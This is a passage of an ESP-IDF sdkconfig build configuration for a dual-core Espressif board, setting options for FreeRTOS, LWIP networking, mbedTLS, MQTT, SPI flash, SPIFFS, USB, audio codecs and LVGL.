CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y
CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH=y
CONFIG_FREERTOS_NUMBER_OF_CORES=2
# end of FreeRTOS
#
# Hardware Abstraction Layer (HAL) and Low Level (LL)
#
CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y
# CONFIG_HAL_ASSERTION_DISABLE is not set
# CONFIG_HAL_ASSERTION_SILENT is not set
# CONFIG_HAL_ASSERTION_ENABLE is not set
CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2
CONFIG_HAL_SYSTIMER_USE_ROM_IMPL=y
CONFIG_HAL_WDT_USE_ROM_IMPL=y
CONFIG_HAL_SPI_MASTER_FUNC_IN_IRAM=y
CONFIG_HAL_SPI_SLAVE_FUNC_IN_IRAM=y
# CONFIG_HAL_ECDSA_GEN_SIG_CM is not set
# end of Hardware Abstraction Layer (HAL) and Low Level (LL)
#
# Heap memory debugging
#
CONFIG_HEAP_POISONING_DISABLED=y
# CONFIG_HEAP_POISONING_LIGHT is not set
# CONFIG_HEAP_POISONING_COMPREHENSIVE is not set
CONFIG_HEAP_TRACING_OFF=y
# CONFIG_HEAP_TRACING_STANDALONE is not set
# CONFIG_HEAP_TRACING_TOHOST is not set
# CONFIG_HEAP_USE_HOOKS is not set
# CONFIG_HEAP_TASK_TRACKING is not set
# CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set
# CONFIG_HEAP_PLACE_FUNCTION_INTO_FLASH is not set
# end of Heap memory debugging
#
# Log
#
#
# Log Level
#
# CONFIG_LOG_DEFAULT_LEVEL_NONE is not set
# CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set
# CONFIG_LOG_DEFAULT_LEVEL_WARN is not set
CONFIG_LOG_DEFAULT_LEVEL_INFO=y
# CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set
# CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set
CONFIG_LOG_DEFAULT_LEVEL=3
CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y
# CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set
# CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set
CONFIG_LOG_MAXIMUM_LEVEL=3
#
# Level Settings
#
# CONFIG_LOG_MASTER_LEVEL is not set
CONFIG_LOG_DYNAMIC_LEVEL_CONTROL=y
# CONFIG_LOG_TAG_LEVEL_IMPL_NONE is not set
# CONFIG_LOG_TAG_LEVEL_IMPL_LINKED_LIST is not set
CONFIG_LOG_TAG_LEVEL_IMPL_CACHE_AND_LINKED_LIST=y
# CONFIG_LOG_TAG_LEVEL_CACHE_ARRAY is not set
CONFIG_LOG_TAG_LEVEL_CACHE_BINARY_MIN_HEAP=y
CONFIG_LOG_TAG_LEVEL_IMPL_CACHE_SIZE=31
# end of Level Settings
# end of Log Level
#
# Format
#
CONFIG_LOG_COLORS=y
CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y
# CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set
# end of Format
# end of Log
#
# LWIP
#
CONFIG_LWIP_ENABLE=y
CONFIG_LWIP_LOCAL_HOSTNAME="espressif"
# CONFIG_LWIP_NETIF_API is not set
CONFIG_LWIP_TCPIP_TASK_PRIO=18
# CONFIG_LWIP_TCPIP_CORE_LOCKING is not set
# CONFIG_LWIP_CHECK_THREAD_SAFETY is not set
CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y
# CONFIG_LWIP_L2_TO_L3_COPY is not set
# CONFIG_LWIP_IRAM_OPTIMIZATION is not set
# CONFIG_LWIP_EXTRA_IRAM_OPTIMIZATION is not set
CONFIG_LWIP_TIMERS_ONDEMAND=y
CONFIG_LWIP_ND6=y
# CONFIG_LWIP_FORCE_ROUTER_FORWARDING is not set
CONFIG_LWIP_MAX_SOCKETS=10
# CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set
# CONFIG_LWIP_SO_LINGER is not set
CONFIG_LWIP_SO_REUSE=y
CONFIG_LWIP_SO_REUSE_RXTOALL=y
# CONFIG_LWIP_SO_RCVBUF is not set
# CONFIG_LWIP_NETBUF_RECVINFO is not set
CONFIG_LWIP_IP_DEFAULT_TTL=64
CONFIG_LWIP_IP4_FRAG=y
CONFIG_LWIP_IP6_FRAG=y
# CONFIG_LWIP_IP4_REASSEMBLY is not set
# CONFIG_LWIP_IP6_REASSEMBLY is not set
CONFIG_LWIP_IP_REASS_MAX_PBUFS=10
# CONFIG_LWIP_IP_FORWARD is not set
# CONFIG_LWIP_STATS is not set
CONFIG_LWIP_ESP_GRATUITOUS_ARP=y
CONFIG_LWIP_GARP_TMR_INTERVAL=60
CONFIG_LWIP_ESP_MLDV6_REPORT=y
CONFIG_LWIP_MLDV6_TMR_INTERVAL=40
CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32
CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y
# CONFIG_LWIP_DHCP_DOES_ACD_CHECK is not set
# CONFIG_LWIP_DHCP_DOES_NOT_CHECK_OFFERED_IP is not set
# CONFIG_LWIP_DHCP_DISABLE_CLIENT_ID is not set
CONFIG_LWIP_DHCP_DISABLE_VENDOR_CLASS_ID=y
# CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set
CONFIG_LWIP_DHCP_OPTIONS_LEN=68
CONFIG_LWIP_NUM_NETIF_CLIENT_DATA=0
CONFIG_LWIP_DHCP_COARSE_TIMER_SECS=1
#
# DHCP server
#
CONFIG_LWIP_DHCPS=y
CONFIG_LWIP_DHCPS_LEASE_UNIT=60
CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8
CONFIG_LWIP_DHCPS_STATIC_ENTRIES=y
CONFIG_LWIP_DHCPS_ADD_DNS=y
# end of DHCP server
# CONFIG_LWIP_AUTOIP is not set
CONFIG_LWIP_IPV4=y
CONFIG_LWIP_IPV6=y
# CONFIG_LWIP_IPV6_AUTOCONFIG is not set
CONFIG_LWIP_IPV6_NUM_ADDRESSES=3
# CONFIG_LWIP_IPV6_FORWARD is not set
# CONFIG_LWIP_NETIF_STATUS_CALLBACK is not set
CONFIG_LWIP_NETIF_LOOPBACK=y
CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8
#
# TCP
#
CONFIG_LWIP_MAX_ACTIVE_TCP=16
CONFIG_LWIP_MAX_LISTENING_TCP=16
CONFIG_LWIP_TCP_HIGH_SPEED_RETRANSMISSION=y
CONFIG_LWIP_TCP_MAXRTX=12
CONFIG_LWIP_TCP_SYNMAXRTX=12
CONFIG_LWIP_TCP_MSS=1440
CONFIG_LWIP_TCP_TMR_INTERVAL=250
CONFIG_LWIP_TCP_MSL=60000
CONFIG_LWIP_TCP_FIN_WAIT_TIMEOUT=20000
CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5760
CONFIG_LWIP_TCP_WND_DEFAULT=5760
CONFIG_LWIP_TCP_RECVMBOX_SIZE=6
CONFIG_LWIP_TCP_ACCEPTMBOX_SIZE=6
CONFIG_LWIP_TCP_QUEUE_OOSEQ=y
CONFIG_LWIP_TCP_OOSEQ_TIMEOUT=6
CONFIG_LWIP_TCP_OOSEQ_MAX_PBUFS=4
# CONFIG_LWIP_TCP_SACK_OUT is not set
CONFIG_LWIP_TCP_OVERSIZE_MSS=y
# CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set
# CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set
CONFIG_LWIP_TCP_RTO_TIME=1500
# end of TCP
#
# UDP
#
CONFIG_LWIP_MAX_UDP_PCBS=16
CONFIG_LWIP_UDP_RECVMBOX_SIZE=6
# end of UDP
#
# Checksums
#
# CONFIG_LWIP_CHECKSUM_CHECK_IP is not set
# CONFIG_LWIP_CHECKSUM_CHECK_UDP is not set
CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y
# end of Checksums
CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072
CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y
# CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set
# CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set
CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF
CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3
CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5
CONFIG_LWIP_IPV6_ND6_NUM_PREFIXES=5
CONFIG_LWIP_IPV6_ND6_NUM_ROUTERS=3
CONFIG_LWIP_IPV6_ND6_NUM_DESTINATIONS=10
# CONFIG_LWIP_PPP_SUPPORT is not set
# CONFIG_LWIP_SLIP_SUPPORT is not set
#
# ICMP
#
CONFIG_LWIP_ICMP=y
# CONFIG_LWIP_MULTICAST_PING is not set
# CONFIG_LWIP_BROADCAST_PING is not set
# end of ICMP
#
# LWIP RAW API
#
CONFIG_LWIP_MAX_RAW_PCBS=16
# end of LWIP RAW API
#
# SNTP
#
CONFIG_LWIP_SNTP_MAX_SERVERS=1
# CONFIG_LWIP_DHCP_GET_NTP_SRV is not set
CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000
CONFIG_LWIP_SNTP_STARTUP_DELAY=y
CONFIG_LWIP_SNTP_MAXIMUM_STARTUP_DELAY=5000
# end of SNTP
#
# DNS
#
CONFIG_LWIP_DNS_MAX_HOST_IP=1
CONFIG_LWIP_DNS_MAX_SERVERS=3
# CONFIG_LWIP_FALLBACK_DNS_SERVER_SUPPORT is not set
# CONFIG_LWIP_DNS_SETSERVER_WITH_NETIF is not set
# end of DNS
CONFIG_LWIP_BRIDGEIF_MAX_PORTS=7
CONFIG_LWIP_ESP_LWIP_ASSERT=y
#
# Hooks
#
# CONFIG_LWIP_HOOK_TCP_ISN_NONE is not set
CONFIG_LWIP_HOOK_TCP_ISN_DEFAULT=y
# CONFIG_LWIP_HOOK_TCP_ISN_CUSTOM is not set
CONFIG_LWIP_HOOK_IP6_ROUTE_NONE=y
# CONFIG_LWIP_HOOK_IP6_ROUTE_DEFAULT is not set
# CONFIG_LWIP_HOOK_IP6_ROUTE_CUSTOM is not set
CONFIG_LWIP_HOOK_ND6_GET_GW_NONE=y
# CONFIG_LWIP_HOOK_ND6_GET_GW_DEFAULT is not set
# CONFIG_LWIP_HOOK_ND6_GET_GW_CUSTOM is not set
CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_NONE=y
# CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_DEFAULT is not set
# CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_CUSTOM is not set
CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_NONE=y
# CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_DEFAULT is not set
# CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_CUSTOM is not set
CONFIG_LWIP_HOOK_DNS_EXT_RESOLVE_NONE=y
# CONFIG_LWIP_HOOK_DNS_EXT_RESOLVE_CUSTOM is not set
# CONFIG_LWIP_HOOK_IP6_INPUT_NONE is not set
CONFIG_LWIP_HOOK_IP6_INPUT_DEFAULT=y
# CONFIG_LWIP_HOOK_IP6_INPUT_CUSTOM is not set
# end of Hooks
# CONFIG_LWIP_DEBUG is not set
# end of LWIP
#
# mbedTLS
#
CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y
# CONFIG_MBEDTLS_EXTERNAL_MEM_ALLOC is not set
# CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set
# CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set
CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y
CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384
CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096
# CONFIG_MBEDTLS_DYNAMIC_BUFFER is not set
# CONFIG_MBEDTLS_DEBUG is not set
#
# mbedTLS v3.x related
#
# CONFIG_MBEDTLS_SSL_PROTO_TLS1_3 is not set
# CONFIG_MBEDTLS_SSL_VARIABLE_BUFFER_LENGTH is not set
# CONFIG_MBEDTLS_X509_TRUSTED_CERT_CALLBACK is not set
# CONFIG_MBEDTLS_SSL_CONTEXT_SERIALIZATION is not set
CONFIG_MBEDTLS_SSL_KEEP_PEER_CERTIFICATE=y
CONFIG_MBEDTLS_PKCS7_C=y
# end of mbedTLS v3.x related
#
# Certificate Bundle
#
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y
# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_CMN is not set
# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_NONE is not set
# CONFIG_MBEDTLS_CUSTOM_CERTIFICATE_BUNDLE is not set
# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEPRECATED_LIST is not set
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_MAX_CERTS=200
# end of Certificate Bundle
# CONFIG_MBEDTLS_ECP_RESTARTABLE is not set
# CONFIG_MBEDTLS_CMAC_C is not set
CONFIG_MBEDTLS_HARDWARE_AES=y
CONFIG_MBEDTLS_AES_USE_INTERRUPT=y
CONFIG_MBEDTLS_AES_INTERRUPT_LEVEL=0
CONFIG_MBEDTLS_HARDWARE_GCM=y
CONFIG_MBEDTLS_GCM_SUPPORT_NON_AES_CIPHER=y
CONFIG_MBEDTLS_HARDWARE_MPI=y
# CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI is not set
CONFIG_MBEDTLS_MPI_USE_INTERRUPT=y
CONFIG_MBEDTLS_MPI_INTERRUPT_LEVEL=0
CONFIG_MBEDTLS_HARDWARE_SHA=y
CONFIG_MBEDTLS_HARDWARE_ECC=y
CONFIG_MBEDTLS_ECC_OTHER_CURVES_SOFT_FALLBACK=y
CONFIG_MBEDTLS_ROM_MD5=y
# CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set
# CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set
CONFIG_MBEDTLS_HAVE_TIME=y
# CONFIG_MBEDTLS_PLATFORM_TIME_ALT is not set
# CONFIG_MBEDTLS_HAVE_TIME_DATE is not set
CONFIG_MBEDTLS_ECDSA_DETERMINISTIC=y
CONFIG_MBEDTLS_SHA512_C=y
# CONFIG_MBEDTLS_SHA3_C is not set
CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y
# CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set
# CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set
# CONFIG_MBEDTLS_TLS_DISABLED is not set
CONFIG_MBEDTLS_TLS_SERVER=y
CONFIG_MBEDTLS_TLS_CLIENT=y
CONFIG_MBEDTLS_TLS_ENABLED=y
#
# TLS Key Exchange Methods
#
# CONFIG_MBEDTLS_PSK_MODES is not set
CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y
CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y
# end of TLS Key Exchange Methods
CONFIG_MBEDTLS_SSL_RENEGOTIATION=y
CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y
# CONFIG_MBEDTLS_SSL_PROTO_GMTSSL1_1 is not set
# CONFIG_MBEDTLS_SSL_PROTO_DTLS is not set
CONFIG_MBEDTLS_SSL_ALPN=y
CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y
CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y
#
# Symmetric Ciphers
#
CONFIG_MBEDTLS_AES_C=y
# CONFIG_MBEDTLS_CAMELLIA_C is not set
# CONFIG_MBEDTLS_DES_C is not set
# CONFIG_MBEDTLS_BLOWFISH_C is not set
# CONFIG_MBEDTLS_XTEA_C is not set
CONFIG_MBEDTLS_CCM_C=y
CONFIG_MBEDTLS_GCM_C=y
# CONFIG_MBEDTLS_NIST_KW_C is not set
# end of Symmetric Ciphers
# CONFIG_MBEDTLS_RIPEMD160_C is not set
#
# Certificates
#
CONFIG_MBEDTLS_PEM_PARSE_C=y
CONFIG_MBEDTLS_PEM_WRITE_C=y
CONFIG_MBEDTLS_X509_CRL_PARSE_C=y
CONFIG_MBEDTLS_X509_CSR_PARSE_C=y
# end of Certificates
CONFIG_MBEDTLS_ECP_C=y
CONFIG_MBEDTLS_PK_PARSE_EC_EXTENDED=y
CONFIG_MBEDTLS_PK_PARSE_EC_COMPRESSED=y
# CONFIG_MBEDTLS_DHM_C is not set
CONFIG_MBEDTLS_ECDH_C=y
CONFIG_MBEDTLS_ECDSA_C=y
# CONFIG_MBEDTLS_ECJPAKE_C is not set
CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y
CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y
CONFIG_MBEDTLS_ECP_NIST_OPTIM=y
# CONFIG_MBEDTLS_ECP_FIXED_POINT_OPTIM is not set
# CONFIG_MBEDTLS_POLY1305_C is not set
# CONFIG_MBEDTLS_CHACHA20_C is not set
# CONFIG_MBEDTLS_HKDF_C is not set
# CONFIG_MBEDTLS_THREADING_C is not set
CONFIG_MBEDTLS_ERROR_STRINGS=y
CONFIG_MBEDTLS_FS_IO=y
# end of mbedTLS
#
# ESP-MQTT Configurations
#
CONFIG_MQTT_PROTOCOL_311=y
# CONFIG_MQTT_PROTOCOL_5 is not set
CONFIG_MQTT_TRANSPORT_SSL=y
CONFIG_MQTT_TRANSPORT_WEBSOCKET=y
CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y
# CONFIG_MQTT_MSG_ID_INCREMENTAL is not set
# CONFIG_MQTT_SKIP_PUBLISH_IF_DISCONNECTED is not set
# CONFIG_MQTT_REPORT_DELETED_MESSAGES is not set
# CONFIG_MQTT_USE_CUSTOM_CONFIG is not set
# CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set
# CONFIG_MQTT_CUSTOM_OUTBOX is not set
# end of ESP-MQTT Configurations
#
# Newlib
#
CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y
# CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set
# CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set
# CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set
# CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set
CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y
# CONFIG_NEWLIB_NANO_FORMAT is not set
CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y
# CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set
# CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set
# CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set
# end of Newlib
#
# NVS
#
# CONFIG_NVS_ENCRYPTION is not set
# CONFIG_NVS_ASSERT_ERROR_CHECK is not set
# CONFIG_NVS_LEGACY_DUP_KEYS_COMPATIBILITY is not set
# CONFIG_NVS_ALLOCATE_CACHE_IN_SPIRAM is not set
# end of NVS
#
# OpenThread
#
# CONFIG_OPENTHREAD_ENABLED is not set
#
# OpenThread Spinel
#
# CONFIG_OPENTHREAD_SPINEL_ONLY is not set
# end of OpenThread Spinel
# end of OpenThread
#
# Protocomm
#
CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_0=y
CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_1=y
CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_2=y
# end of Protocomm
#
# PThreads
#
CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5
CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072
CONFIG_PTHREAD_STACK_MIN=768
CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y
# CONFIG_PTHREAD_DEFAULT_CORE_0 is not set
# CONFIG_PTHREAD_DEFAULT_CORE_1 is not set
CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1
CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread"
# end of PThreads
#
# MMU Config
#
CONFIG_MMU_PAGE_SIZE_64KB=y
CONFIG_MMU_PAGE_MODE="64KB"
CONFIG_MMU_PAGE_SIZE=0x10000
# end of MMU Config
#
# Main Flash configuration
#
#
# SPI Flash behavior when brownout
#
CONFIG_SPI_FLASH_BROWNOUT_RESET_XMC=y
CONFIG_SPI_FLASH_BROWNOUT_RESET=y
# end of SPI Flash behavior when brownout
#
# Optional and Experimental Features (READ DOCS FIRST)
#
#
# Features here require specific hardware (READ DOCS FIRST!)
#
# CONFIG_SPI_FLASH_AUTO_SUSPEND is not set
CONFIG_SPI_FLASH_SUSPEND_TSUS_VAL_US=50
# CONFIG_SPI_FLASH_FORCE_ENABLE_XMC_C_SUSPEND is not set
# end of Optional and Experimental Features (READ DOCS FIRST)
# end of Main Flash configuration
#
# SPI Flash driver
#
# CONFIG_SPI_FLASH_VERIFY_WRITE is not set
# CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set
CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y
CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y
# CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set
# CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set
# CONFIG_SPI_FLASH_BYPASS_BLOCK_ERASE is not set
CONFIG_SPI_FLASH_YIELD_DURING_ERASE=y
CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS=20
CONFIG_SPI_FLASH_ERASE_YIELD_TICKS=1
CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192
# CONFIG_SPI_FLASH_SIZE_OVERRIDE is not set
# CONFIG_SPI_FLASH_CHECK_ERASE_TIMEOUT_DISABLED is not set
# CONFIG_SPI_FLASH_OVERRIDE_CHIP_DRIVER_LIST is not set
#
# Auto-detect flash chips
#
CONFIG_SPI_FLASH_VENDOR_XMC_SUPPORTED=y
# CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_GD_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP is not set
# CONFIG_SPI_FLASH_SUPPORT_TH_CHIP is not set
# end of Auto-detect flash chips
CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y
# end of SPI Flash driver
#
# SPIFFS Configuration
#
CONFIG_SPIFFS_MAX_PARTITIONS=3
#
# SPIFFS Cache Configuration
#
CONFIG_SPIFFS_CACHE=y
CONFIG_SPIFFS_CACHE_WR=y
# CONFIG_SPIFFS_CACHE_STATS is not set
# end of SPIFFS Cache Configuration
CONFIG_SPIFFS_PAGE_CHECK=y
CONFIG_SPIFFS_GC_MAX_RUNS=10
# CONFIG_SPIFFS_GC_STATS is not set
CONFIG_SPIFFS_PAGE_SIZE=256
CONFIG_SPIFFS_OBJ_NAME_LEN=32
# CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set
CONFIG_SPIFFS_USE_MAGIC=y
CONFIG_SPIFFS_USE_MAGIC_LENGTH=y
CONFIG_SPIFFS_META_LENGTH=4
CONFIG_SPIFFS_USE_MTIME=y
#
# Debug Configuration
#
# CONFIG_SPIFFS_DBG is not set
# CONFIG_SPIFFS_API_DBG is not set
# CONFIG_SPIFFS_GC_DBG is not set
# CONFIG_SPIFFS_CACHE_DBG is not set
# CONFIG_SPIFFS_CHECK_DBG is not set
# CONFIG_SPIFFS_TEST_VISUALISATION is not set
# end of Debug Configuration
# end of SPIFFS Configuration
#
# TCP Transport
#
#
# Websocket
#
CONFIG_WS_TRANSPORT=y
CONFIG_WS_BUFFER_SIZE=1024
# CONFIG_WS_DYNAMIC_BUFFER is not set
# end of Websocket
# end of TCP Transport
#
# Ultra Low Power (ULP) Co-processor
#
# CONFIG_ULP_COPROC_ENABLED is not set
#
# ULP Debugging Options
#
# end of ULP Debugging Options
# end of Ultra Low Power (ULP) Co-processor
#
# Unity unit testing library
#
CONFIG_UNITY_ENABLE_FLOAT=y
CONFIG_UNITY_ENABLE_DOUBLE=y
# CONFIG_UNITY_ENABLE_64BIT is not set
# CONFIG_UNITY_ENABLE_COLOR is not set
CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y
# CONFIG_UNITY_ENABLE_FIXTURE is not set
# CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set
# end of Unity unit testing library
#
# USB-OTG
#
CONFIG_USB_HOST_CONTROL_TRANSFER_MAX_SIZE=256
CONFIG_USB_HOST_HW_BUFFER_BIAS_BALANCED=y
# CONFIG_USB_HOST_HW_BUFFER_BIAS_IN is not set
# CONFIG_USB_HOST_HW_BUFFER_BIAS_PERIODIC_OUT is not set
#
# Hub Driver Configuration
#
#
# Root Port configuration
#
CONFIG_USB_HOST_DEBOUNCE_DELAY_MS=250
CONFIG_USB_HOST_RESET_HOLD_MS=30
CONFIG_USB_HOST_RESET_RECOVERY_MS=30
CONFIG_USB_HOST_SET_ADDR_RECOVERY_MS=10
# end of Root Port configuration
# CONFIG_USB_HOST_HUBS_SUPPORTED is not set
# end of Hub Driver Configuration
# CONFIG_USB_HOST_ENABLE_ENUM_FILTER_CALLBACK is not set
CONFIG_USB_OTG_SUPPORTED=y
# end of USB-OTG
#
# Virtual file system
#
CONFIG_VFS_SUPPORT_IO=y
CONFIG_VFS_SUPPORT_DIR=y
CONFIG_VFS_SUPPORT_SELECT=y
CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y
# CONFIG_VFS_SELECT_IN_RAM is not set
CONFIG_VFS_SUPPORT_TERMIOS=y
CONFIG_VFS_MAX_COUNT=8
#
# Host File System I/O (Semihosting)
#
CONFIG_VFS_SEMIHOSTFS_MAX_MOUNT_POINTS=1
# end of Host File System I/O (Semihosting)
CONFIG_VFS_INITIALIZE_DEV_NULL=y
# end of Virtual file system
#
# Wear Levelling
#
# CONFIG_WL_SECTOR_SIZE_512 is not set
CONFIG_WL_SECTOR_SIZE_4096=y
CONFIG_WL_SECTOR_SIZE=4096
# end of Wear Levelling
#
# Wi-Fi Provisioning Manager
#
CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16
CONFIG_WIFI_PROV_AUTOSTOP_TIMEOUT=30
CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y
# CONFIG_WIFI_PROV_STA_FAST_SCAN is not set
# end of Wi-Fi Provisioning Manager
#
# CMake Utilities
#
# CONFIG_CU_RELINKER_ENABLE is not set
# CONFIG_CU_DIAGNOSTICS_COLOR_NEVER is not set
CONFIG_CU_DIAGNOSTICS_COLOR_ALWAYS=y
# CONFIG_CU_DIAGNOSTICS_COLOR_AUTO is not set
# CONFIG_CU_GCC_LTO_ENABLE is not set
# CONFIG_CU_GCC_STRING_1BYTE_ALIGN is not set
# end of CMake Utilities
#
# Audio Codec Device Configuration
#
CONFIG_CODEC_ES8311_SUPPORT=y
CONFIG_CODEC_ES7210_SUPPORT=y
CONFIG_CODEC_ES7243_SUPPORT=y
CONFIG_CODEC_ES7243E_SUPPORT=y
CONFIG_CODEC_ES8156_SUPPORT=y
CONFIG_CODEC_AW88298_SUPPORT=y
CONFIG_CODEC_ES8374_SUPPORT=y
CONFIG_CODEC_ES8388_SUPPORT=y
CONFIG_CODEC_TAS5805M_SUPPORT=y
# CONFIG_CODEC_ZL38063_SUPPORT is not set
# end of Audio Codec Device Configuration
#
# ESP LCD TOUCH
#
CONFIG_ESP_LCD_TOUCH_MAX_POINTS=5
CONFIG_ESP_LCD_TOUCH_MAX_BUTTONS=1
# end of ESP LCD TOUCH
#
# Bus Options
#
#
# I2C Bus Options
#
CONFIG_I2C_BUS_DYNAMIC_CONFIG=y
CONFIG_I2C_MS_TO_WAIT=200
# CONFIG_I2C_BUS_BACKWARD_CONFIG is not set
# CONFIG_I2C_BUS_SUPPORT_SOFTWARE is not set
# end of I2C Bus Options
# end of Bus Options
#
# LVGL configuration
#
CONFIG_LV_CONF_SKIP=y
# CONFIG_LV_CONF_MINIMAL is not set
#
# Color Settings
#
# CONFIG_LV_COLOR_DEPTH_32 is not set
# CONFIG_LV_COLOR_DEPTH_24 is not set
CONFIG_LV_COLOR_DEPTH_16=y
# CONFIG_LV_COLOR_DEPTH_8 is not set
# CONFIG_LV_COLOR_DEPTH_1 is not set
CONFIG_LV_COLOR_DEPTH=16
# end of Color Settings
#
# Memory Settings
#
